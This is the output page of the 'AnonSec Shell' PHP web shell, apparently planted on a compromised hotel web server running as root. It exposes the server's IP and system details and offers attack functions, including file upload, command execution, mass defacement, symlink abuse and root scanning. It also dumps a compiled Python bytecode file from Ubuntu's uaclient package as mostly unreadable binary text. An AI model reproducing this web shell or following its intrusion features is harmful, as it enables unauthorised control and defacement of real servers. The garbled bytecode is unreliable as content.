AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/uaclient/__pycache__/snap.cpython-310.pyc
o

F��cB�	@sddlZddlZddlmZmZddlmZmZmZm	Z	m
Z
dZgd�ZdZ
dZdZe��Zd	efd
d�Z			ddeed
eedeeed	dfdd�Z	ddedeeed	dfdd�Zded	eefdd�Zded	eefdd�ZGdd�d�Zd	eefdd�ZdS) �N)�List�Optional)�apt�event_logger�
exceptions�messages�systemz
/usr/bin/snap)g�?g�?g@z
proxy.httpzproxy.httpsu…�returncCsdt��vS)z(Returns whether or not snap is installed�snapd)r�get_installed_packages_names�rr�//usr/lib/python3/dist-packages/uaclient/snap.py�is_installedsr�
http_proxy�https_proxy�retry_sleepscCs�t�t�st�d�t��dS|s|rt�tj	jdd��|r-tj
dddd�|�g|d�|r?tj
dddd	�|�g|d�dSdS)
a
    Configure snap to use http and https proxies.

    :param http_proxy: http proxy to be used by snap. If None, it will
                       not be configured
    :param https_proxy: https proxy to be used by snap. If None, it will
                        not be configured
    :param retry_sleeps: Optional list of sleep lengths to apply between
        retries. Specifying a list of [0.5, 1] tells subp to retry twice
        on failure; sleeping half a second before the first retry and 1 second
        before the second retry.
    z1Skipping configure snap proxy. {} does not exist.N�snap)�service�setrz
proxy.http={}�rzproxy.https={})r�which�SNAP_CMD�logging�debug�format�event�infor�SETTING_SERVICE_PROXY�subp)rrrrrr
�configure_snap_proxys(
���
��r�
protocol_typecCs>t�t�st�d�t��dStjdddd�|�g|d�dS)a�
    Unset snap configuration settings for http and https proxies.

    :param protocol_type: String either http or https
    :param retry_sleeps: Optional list of sleep lengths to apply between
        retries. Specifying a list of [0.5, 1] tells subp to retry twice
        on failure; sleeping half a second before the first retry and 1 second
        before the second retry.
    z3Skipping unconfigure snap proxy. {} does not exist.Nr�unsetrzproxy.{}r)rrrrrrr)r rrrr
�unconfigure_snap_proxy>s
��
�r"�keycCs8zt�ddd|g�\}}|��WStjyYdSw)z�
    Gets the config value from snap.
    :param protocol: can be any valid snap config option
    :return: the value of the snap config option, or None if not set
    r�getrN)rr�stripr�ProcessExecutionError)r#�out�_rrr
�get_config_option_valueWs
�r)�packagec	Cs:t�dd|ddddg�\}}t�d|�}|r|�d�SdS)Nrr�--color�never�	--unicodeztracking:\s+(?P<tracking>.*)�tracking)rr�re�search�group)r*r'r(�matchrrr
�get_snap_package_info_trackingds�
r3c@seZdZdd�ZdS)�SnapPackagecCs(||_||_||_||_||_||_dS�N)�name�version�revr.�	publisher�notes)�selfr6r7r8r.r9r:rrr
�__init__os
zSnapPackage.__init__N)�__name__�
__module__�__qualname__r<rrrr
r4nsr4cCsxt�gd��\}}|��}|dd�}g}|D]"}|��}t|�}|j�t�r4t|j	�}|r0|n|j|_|�
|�q|S)N)r�listr+r,r-r,�)rr�
splitlines�splitr4r.�endswith�SNAP_CHANNEL_SHORTEN_VALUEr3r6�append)r'r(�apps�snaps�line�pkgr�channelrrr
�get_installed_snapsxs�
rL)NNNr5)rr/�typingrr�uaclientrrrrrr�SNAP_INSTALL_RETRIES�HTTP_PROXY_OPTION�HTTPS_PROXY_OPTIONrE�get_event_loggerr�boolr�str�floatrr"r)r3r4rLrrrr
�<module>sF���
�
�*��
�
�



Anon7 - 2022
AnonSec Team